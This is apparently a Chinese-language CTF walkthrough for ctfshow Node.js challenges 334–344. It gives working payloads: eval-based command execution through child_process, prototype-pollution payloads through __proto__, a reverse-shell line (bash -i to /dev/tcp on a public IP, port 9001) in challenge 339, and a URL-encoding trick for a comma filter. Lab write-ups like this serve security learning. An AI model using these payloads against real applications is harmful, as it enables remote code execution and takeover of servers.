nodejs

334

先下载zip文件，然后加上.zip,可以看到两个文件

在user中可以看到

输入即可得到flag
。

335.

这里提到eval函数，eval中可以执行js代码，可以尝试使用这个函数进行测试

payload（显示当前目录下的文件和文件夹列表）

require('child_process').spawnSync('ls',['.']).stdout.toString()

对payload的解释

require 是 Node.js 中用来引入模块的函数，在这里引用了Node.js的child_process模块

child_process 模块是 Node.js 标准库中的一个模块，它提供了创建子进程的功能，可以通过它执行系统命令、shell 脚本等。其中包含有spawnSync()方法，spawnSync函数可以用来执行系统命令

spawnSync(‘ls’,[‘.’]) 前面代表命令，后面是一个参数，这里的 . 代表着当前目录， … 代表上一级目录 …/… 代表上上级目录

这中间用于连接的两个点是用来访问对象属性的

'stdout’是一个缓冲区，它包含了子进程的标准输出，也就是说输出的内容在这里

toString()转换为字符串

 发现了里面有fl00g,txt，应该就是存放flag的文件了，再构建payload

require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()

即可得到flag

336

和上一题类似

require('child_process').spawnSync('ls',['.']).stdout.toString()

这题就是把floog.txt改为fl001g.txt

require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()

337

分析可得，这里就是判断存在a,b，a的长度等于b的长度，a不等于b（弱类型判断），md5加密a+flag和加密b+flag相等（强类型比较）

payload：

?a[]=1&b[]=1

338

下载源码

在routes中的login.js

上面一行调用了utils中的copy，我们根据所给的源码找到common.js

找到了原型污染，典型的merge函数

payload

"__proto__":{"ctfshow":"36dboy"}

339.

原型链污染，需要用到监听

通过api.js和commo0.jsn里的代码，可以实现原型链的污染

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
});

那么这里就是通过原型链污染query的值，通过给__proto__赋值污染到query，因为这些变量的最上层直接继承了Object.prototype，所以会实现污染的效果。

我们往query中构造payload即会在res.render('api', { query: Function(query)(query)});这段模板渲染的代码中实现RCE，因为query在函数体内执行了。

先抓包访问/login，实现query值的原型链污染，再访问/api来执行query的值。

payload

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/121.43.154.98/9001 0>&1\"')"}}
但不知但为什么，这里总是出问题

之后几道都是如此

344

router.get('/', function(req, res, next) {
    res.type('html');
    var flag = 'flag_here';
    console.log(req.url)
    if(req.url.match(/8c|2c|\,/ig)){
        res.end('111where is flag :)');
    }
    var query = JSON.parse(req.query.query);
    if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
        res.end(flag);
    }else{
        res.end('222where is flag. :)');
    }

});

这道题过滤了逗号以及逗号的url编码2c，可以用“&”连接三个属性，NodeJS会自动拼接：

?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}

同时还得进行url编码

?query=%7b%22%6e%61%6d%65%22%3a%22%61%64%6d%69%6e%22&query=%22%70%61%73%73%77%6f%72%64%22%3a%22%63%74%66%73%68%6f%77%22&query=%22%69%73%56%49%50%22%3a%74%72%75%65%7d
 

因为在get之前双引号会被url编码为%22，与“ctfshow”组成“2c”，符合正则，可以通过